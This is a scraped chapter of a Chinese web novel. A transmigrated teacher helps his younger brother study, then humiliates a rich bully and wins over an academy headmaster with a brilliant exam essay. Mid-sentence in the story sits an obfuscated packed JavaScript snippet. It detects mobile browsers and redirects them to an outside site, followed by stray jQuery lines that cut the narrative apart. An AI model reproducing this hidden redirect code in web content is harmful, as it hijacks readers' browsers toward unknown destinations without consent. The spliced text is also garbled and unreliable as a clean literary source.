默认冷灰
24号文字
方正启体

5. 风雪求学

作者:见青杉本书字数:K更新时间:
    光阴荏苒,寒霜初降。


    距离那场惊心动魄的暗巷截杀,已过去了一月有余。


    桃花村的清晨呵气成霜,程家那座破旧的农家小院里,却早早透出了昏黄的烛光与琅琅的读书声。


    “天命之谓性,率性之谓道,修道之谓教……”


    十岁的程文博穿着一身洗得发白却浆洗得干干净净的厚棉袍,正端坐在缺了角的书案前,摇头晃脑地背诵着《中庸》。他那双冻得有些发红的小手,正捧着一卷密密麻麻写满批注的册子,眼神狂热得如同捧着绝世武功秘籍。


    那是他兄长程昱,在这养伤的一个月里,靠着惊人的记忆,一笔一画为他默写下来的《中庸》独家集注!


    程昱披着一件半旧的鸦青色大氅,靠在火盆边,手里随意翻着一卷残书。他背上的杖伤已好了七七八八,虽然落下了几道狰狞的疤痕,但那原本孱弱的身骨,反倒在这一个月的静养与粗茶淡饭中,拔高了些许,褪去了纨绔的浮躁,沉淀出了一股如渊渟岳峙般的清冷书卷气。


    “哥,这句‘君子戒慎乎其所不睹,恐惧乎其所不闻’,朱圣人的批注我背熟了。可你昨日在旁边写的那句‘慎独乃入仕之本’,该如何破题?”程文博抬起头,像个嗷嗷待哺的雏鸟般望着兄长。


    程昱放下残书,深邃的眸子里闪过一丝笑意。


    这一个月来,他借着识海中那方二维码,将《大学》与《中庸》的历朝考点、名家破题之法看了个通透。他前世本就是个极擅长总结归纳的现代教师,古代的八股文虽然格式死板,但若论起逻辑思维、起承转合,又怎能比得过现代教育体系下锤炼出的议论文框架?


    他将金手指提取出的干货,结合现代的逻辑体系,揉碎了喂给程文博。这神童弟弟一点就透,学业可谓是一日千里。


    “此句若用于县试破题,不可只谈个人修养。”程昱拨了拨火盆里的银丝炭,温声道,“要拔高。要写‘暗室逢灯,君子不欺暗室,方能不欺天下百姓’。将个人的慎独与朝廷的吏治绑在一起,主考官阅卷时,便会觉得你胸有丘壑,是个可造之才。”


    程文博眼睛猛地一亮,犹如拨云见日,连连点头,提笔便在册子上飞快记录下来。


    “好了,今日便温习到此处。”程昱站起身,将大氅拢了拢,“今日是青云书院岁考招生的日子。你我兄弟二人要想在二月县试中下场,必须得拿到书院山长的廪生结保。”


    大越律法严明,白丁考县试,必须要有五名考生互保,外加一名廪生签字作保,证明其身家清白、并未替考。桃花县最好的廪生,全在青云书院。


    “娘亲,我们出门了!”


    李氏从灶间端着两碗热气腾腾的鸡蛋面走出来,眼底满是慈爱与骄傲。这一个月,看着两个儿子兄友弟恭、发愤图强,她仿佛重新活过来了一般。


    “吃口热乎的再走!外面下雪了。”李氏心疼地替程昱理了理衣领,“昱儿,你大病初愈,莫要逞强。若是书院的夫子严苛,考不中也无妨,咱们明年再考便是。”


    “娘亲放心,儿子心里有数。”程昱温和一笑,眉宇间却透着一股不容置疑的傲然。


    ——


    青云书院座落在桃花县城北的青云山脚下,乃是本县第一大书院。书院的山长严嵩严老夫子,乃是一位名副其实的举人老爷,因厌倦官场倾轧才辞官回乡讲学,在整个桃花县学子心中,犹如泰山北斗。


    当兄弟俩顶着风雪,踩着泥泞走到书院大门前时,青石铺就的广场上早已停满了各色豪华的马车。披着狐裘、抱着紫铜手炉的富家公子们三三两两地聚在一起,谈笑风生。


    程昱和程文博一身洗得发白的旧棉袍,连个御寒的汤婆子都没有,站在这些富家子弟中间,显得格格不入。


    “哟!这太阳是打西边出来了?我没看错吧,这不是咱们桃花县鼎鼎大名的散财童子程大少爷吗?”


    一道尖酸刻薄的声音突然打破了周围的窃窃私语。


    众人闻声望去,只见一个穿着湖蓝色暗纹锦缎、腰间坠着极品羊脂玉的少年,正摇着一把附庸风雅的折扇,满脸讥讽地走上前来。


    程昱目光微顿,从原身记忆里搜出了此人的身份——县城大户王员外家的独子,王梓轩。此人不学无术,却仗着家里有钱,极爱附庸风雅,平日里没少在赌坊和青楼里嘲笑原身是个冤大头。


    “王公子慎言!”


    十岁的程文博立刻如同一只炸毛的小老虎,上前一步挡在程昱身前,怒目而视,“我兄长今日是来参加入院岁考的!”


    “岁考?就他?哈哈哈!”王梓轩仿佛听到了什么天大的笑话,夸张地大笑起来,引得周围的富家子弟也跟着哄堂大笑。


    “程昱,这青云书院可是读书人的圣地,不是你掷骰子、摸牌九的赌坊!你那连自个儿名字都写不明白的狗爬字,也敢来这儿丢人现眼?我要是你,早就拿根面条吊死在家中了,哪还有脸出来见人?”


    面对王梓轩恶毒的羞辱,程文博气得浑身发抖,眼眶通红,双拳死死握紧,正欲上前与他拼命,肩头却被一只修长苍白的手轻轻按住。


    程昱将弟弟拉回身后,神色平静如一泓深潭,连半分愠怒都无。


    他掸了掸肩头的落雪,目光淡淡地瞥了王梓轩一眼,薄唇轻启,声音不大,却字字如刀:


    “《论语》有云:夏虫不可语于冰,井蛙不可语于海。王公子不在温柔乡里掷金买笑,却跑来这清冷书院里犬吠,莫不是王员外的家底,已经被公子败得连赌坊的门槛都跨不进去了?”


    “你——!”王梓轩脸色骤变,像被踩了尾巴的猫。他平日里自诩风流才子,哪受得了这等不带半个脏字却句句戳心窝子的讥讽,当即恼羞成怒,举起折扇便要打人,“一个乡下破落户,也敢嘲笑本少爷!”


    “肃静!”


    就在此时,书院那两扇厚重的朱漆大门轰然洞开。


    一名须发皆白、面容清癯肃穆的老者,在一众讲书夫子的簇拥下,缓步迈出大门。老者目光如电,扫过全场,原本喧闹的广场瞬间鸦雀无声。


    这便是青云书院的山长,严举人。


    “书院重地,喧哗打闹,成何体统!”严老夫子冷哼一声,“老夫不管尔等在家里是何等娇贵,到了这青云山,便只有学子这一个身份。今日岁考,取前十名入内院,由老夫亲自授课,并为尔等二月县试结保。其余者,打道回府!”


    此言一出,所有学子的眼神都变得炽热起来。能让严举人亲自结保,这县试便算是稳了一半啊!


    王梓轩狠狠瞪了程昱一眼,压低声音恶狠狠地道:“你给我等着!本少爷倒要看看,你交白卷时,严老夫子会不会把你乱棍打出去!”


    程昱看都没看他一眼,只是拍了拍弟弟的肩膀:“进考棚,莫慌,按我教你的破题之法写。”


    考棚内,地龙烧得温热,却化不开空气中令人窒息的紧张感。


    每位考生一个小小的隔间。案几上,摆放着上好的宣纸与笔墨。


    严老夫子亲自发卷,当看到坐在角落、一身旧衣的程昱时,老夫子的眉头微不可察地皱了皱。这程昱的纨绔恶名,他也有所耳闻。此等顽劣之徒来参试,简直是有辱斯文!


    铛——铜锣敲响。


    试题在黑板上张榜公布。


    全场学子抬头看去,顿时响起一片倒吸冷气的声音。


    今年的考题,竟不是常见的《论语》,而是一道极其刁钻的《中庸》截搭题:


    “君子素其位而行,不愿乎其外。素富贵,行乎富贵;素贫贱,行乎贫贱。”


    这道题太绝了!既考较经义,又暗含了对如今学子浮躁之风的敲打。对于这些十来岁、还未经历过人生大起大落的少年来说,极难写出深度,稍有不慎便会落入甘于平庸的下乘!


    隔间里的王梓轩咬着笔杆,急得满头大汗,半天憋不出一个字。


    而角落里的程昱,在看清题目的瞬间,却险些笑出声来。


    他缓缓闭上双眼,识海深处,那方幽蓝的二维码瞬间光芒大盛!


    【滴——检测到考题出自《中庸》第十四章。】


    【正在提取历代名臣大儒破题精要……提取成功。】


    【正在融合明代状元唐寅、清代大儒王夫之制义核心……】


    无数金色的文字如瀑布般在程昱的脑海中冲刷、重组。前世身为现代教师的逻辑思维,在这一刻与古代最顶尖的科举智慧完美融合。


    程昱睁开眼,眸底清明一片,仿佛有星辰流转。


    磨墨,舔笔。


    前世苦练了十余年的柳公权小楷,在这一刻展露无遗。手腕悬空,笔走龙蛇,铁画银钩的墨字在雪白的宣纸上晕染开来。


    “破题:君子安于所处之境,以行其当行之道,无所慕乎其外也。”


    “承题:盖人之处世,境遇万殊,而道本一贯。素其位者,非安于天命之沉沦,乃尽其本分之极则也!”


    程昱越写越顺,心中那股被渣爹算计、被世人轻贱的郁结之气,随着笔尖的游走,尽数倾泻于纸上。


    他的脑海中浮现出前世支教时那些在大山里苦读的寒门学子,浮现出今生在泥水里为了护他而拼死挣扎的幼弟。


    素贫贱,行乎贫贱!贫贱又如何?只要心中有道,只要笔下有骨,寒门亦能出贵子,白衣亦可傲王侯!


    整个考棚内,大多数学子还在抓耳挠腮,唯有程昱这边的笔端与纸面摩擦的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341401|199347||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    沙沙声,流畅得如同在演奏一曲金戈铁马的战歌。


    短短半个时辰,两篇洋洋洒洒的八股制义,一气呵成!


    程昱落下最后一笔,长舒了一口气,将毛笔搁在笔洗上。


    “学生交卷。”


    清朗的声音在寂静的考棚中突兀地响起。


    所有人都震惊地抬起头。


    这才过去多久?连一炷香的时间都不到!这就交卷了?!


    王梓轩愣了一下,随即在心中狂喜冷笑:这废物果然什么都不会,这是破罐子破摔,随便涂鸦了几笔就交卷逃跑了吧!


    严老夫子坐在主考位上,脸色瞬间沉了下来。


    科考最忌心浮气躁!这程昱果然是个朽木,竟敢拿科举当儿戏!


    “呈上来。”严老夫子冷冷开口,看都没看程昱一眼,心中已经打定主意,不管这上面画了什么鬼画符,今日定要将此子逐出书院,永不录用!


    程昱双手将试卷奉上,神色坦然地退到一旁。


    严老夫子强忍着怒意,目光随意地扫向案几上的试卷。


    然而,就是这一眼,严老夫子那浑浊的双目猛地一震,原本要呵斥出喉的话,硬生生卡在了嗓子里!


    这是……柳体小楷?!


    字迹瘦硬挺拔,骨力遒劲,没有十几年的苦功,绝写不出这等风骨!这哪里是一个流连赌坊的纨绔能写出的字?


    老夫子的视线如同被磁石吸住一般,再也挪不开,急切地往下看去。


    当看到那句“非安于天命之沉沦,乃尽其本分之极则”的承题时,严老夫子的双手竟然不受控制地微微颤抖起来。


    妙啊!太妙了!


    老夫子激动得连呼吸都急促了。这破题,没有丝毫酸腐之气,反而透着一股千锤百炼后的通透与大气!将“安分”升华到了“尽责”的高度,这等见识,便是许多考了半辈子的老秀才都写不出来啊!


    再往下看,起讲、入手、起股、中股……对仗工整,引经据典,犹如大江大河般奔流不息,气势磅礴!


    直到看完最后一个字,严老夫子仿佛被抽干了力气,颓然靠在椅背上。他闭上双眼,足足沉默了半盏茶的功夫。


    全场学子连大气都不敢喘,王梓轩更是幸灾乐祸地等着看程昱被乱棍打出。


    砰!


    严老夫子猛地一拍案几,霍然起身,死死盯着站在下方不卑不亢的青衫少年。那眼神,仿佛在看一块绝世罕见的美玉!


    “这卷子,当真是你所写?!未曾请人代笔,未曾提前背诵?!”老夫子的声音甚至带着一丝破音。


    程昱微微一笑,双手作揖:“回山长,考场森严,学生岂敢弄虚作假。字字句句,皆是肺腑之言。”


    “好!好一个‘非安于天命之沉沦’!”严老夫子激动得满面红光,拿着试卷的手都在哆嗦,他大步走下堂来,竟不顾身份,一把拉住了程昱的手腕。


    “老夫眼拙,竟险些错失了一块璞玉!什么纨绔败家子,全他娘的是放屁!就凭这手字,凭这篇制义,莫说是桃花县的岁考,便是去考金陵府的院试,也足以名列前茅!”


    轰——!


    此言一出,考棚内瞬间炸开了锅。


    王梓轩脸上的笑容彻底僵住,仿佛被人在寒冬腊月泼了一盆冰水,呆若木鸡地站在原地,嘴里神经质地喃喃着:“不可能……这绝对不可能!他明明是个连书都没摸过的废物啊……”


    “安静!”严老夫子怒视全场,随后转头看向程昱,眼神中满是毫不掩饰的狂热与惜才,“程昱,老夫今日破格收你入青云内院!二月的县试,老夫亲自为你结保作押!你的束脩,老夫全免了!”


    “多谢山长抬爱。”程昱宠辱不惊,深深一揖。随即,他目光一转,看向角落里刚刚搁笔的程文博,“山长,学生有一不情之请。舍弟程文博,天资聪颖,远胜于我,恳请山长移步,看看舍弟的卷子。”


    严老夫子此刻爱屋及乌,立刻走到程文博案前,拿起那份卷子。


    又是一阵漫长的死寂。


    片刻后,严老夫子仰天大笑,笑声中甚至带着一丝不可思议的癫狂:“天不绝我桃花县的文运啊!一门双杰!好一个一门双杰!程文博,你也入内院!老夫一并为你作保!”


    这一刻,整个青云书院的考棚鸦雀无声。


    所有的富家子弟,包括那个不可一世的王梓轩,看向那对穿着旧棉袍的寒门兄弟的眼神里,再也没有了轻蔑与嘲笑,取而代之的,是深深的敬畏与恐惧。


    程昱站在原地,听着窗外的呼啸风雪,嘴角勾起一抹锋利的弧度。


    江南程家,渣爹,这只是第一步。


    这天下科举的棋局,我程昱,正式落子了!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)